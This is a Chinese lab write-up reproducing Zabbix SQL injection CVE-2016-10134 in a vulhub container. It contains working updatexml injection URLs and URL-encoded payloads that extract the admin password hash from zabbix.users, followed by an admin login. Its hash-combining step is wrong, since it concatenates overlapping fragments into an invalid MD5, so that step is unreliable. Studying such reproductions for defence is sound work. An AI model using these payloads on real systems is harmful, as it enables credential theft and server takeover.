漏洞描述
zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。Zabbix 的latest.php中的toggle_ids[]和jsrpc.php种的profieldx2参数存在sql注入,通过sql注入获取管理员账户密码,进入后台,进行getshell操作。
安全等级
高
影响版本
zabbix 2.2.x,3.0.0-3.0.3
修复建议
更新至最新版
环境搭建
使用vulhub中的漏洞环境进行测试
cd /vulhub/zabbix/CVE-2016-10134
docker-compose up -d
docker ps
启动成功后访问http://yourip:8080/ 具体的端口用docker ps命令进行查看,一般是8080
测试示例
示例一
该版本的zabbix默认开启guest账号登录,在登录界面出使用guset登录
使用burp抓包,将zbx_sessionid的后16位字符做为sid值
sid=7b9d88abb06c0fc4
构造sql语句进行测试 判断是否存在漏洞,访问下列url,burp抓包,确认存在漏洞
http://192.168.74.128:8080/latest.php?output=ajax&sid=7b9d88abb06c0fc4&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)
获取用户名和密码 将构造的sql语句在burp里进行url编码,将编码后的内容填入到0x7e,后面 获取到用户名为Admin,密码hash为5fce1b3e34b520afeffb37ce0,但是密码hash长度不对
(select concat(alias,0x7e,passwd) from zabbix.users limit 0,1)
url编码后为:
%28%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%61%6c%69%61%73%2c%30%78%37%65%2c%70%61%73%73%77%64%29%20%66%72%6f%6d%20%7a%61%62%62%69%78%2e%75%73%65%72%73%20%6c%69%6d%69%74%20%30%2c%31%29
GET /jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=
updatexml(0,concat(0x7e,%28%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%61%6c%69%61%73%2c%30%78%37%65%2c%70%61%73%73%77%64%29%20%66%72%6f%6d%20%7a%61%62%62%69%78%2e%75%73%65%72%73%20%6c%69%6d%69%74%20%30%2c%31%29),0
再次构造语句,获取到后半段的密码hash,520afeffb37ce08c7cd66
(select concat(alias,0x7e,mid(passwd,12,32)) from zabbix.users limit 0,1)
url编码后为
%28%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%61%6c%69%61%73%2c%30%78%37%65%2c%6d%69%64%28%70%61%73%73%77%64%2c%31%32%2c%33%32%29%29%20%66%72%6f%6d%20%7a%61%62%62%69%78%2e%75%73%65%72%73%20%6c%69%6d%69%74%20%30%2c%31%29
GET /jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=
updatexml(0,concat(0x7e,%28%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%61%6c%69%61%73%2c%30%78%37%65%2c%6d%69%64%28%70%61%73%73%77%64%2c%31%32%2c%33%32%29%29%20%66%72%6f%6d%20%7a%61%62%62%69%78%2e%75%73%65%72%73%20%6c%69%6d%69%74%20%30%2c%31%29),0) HTTP/1.1
将两段hash结合后为:
5fce1b3e34b520afeffb37ce0520afeffb37ce08c7cd66,md5值解密后为zabbix
使用账号Admin/zabbix登录成功
注:以上内容为实验环境,只做为漏洞案例学习,切勿用于其他用途。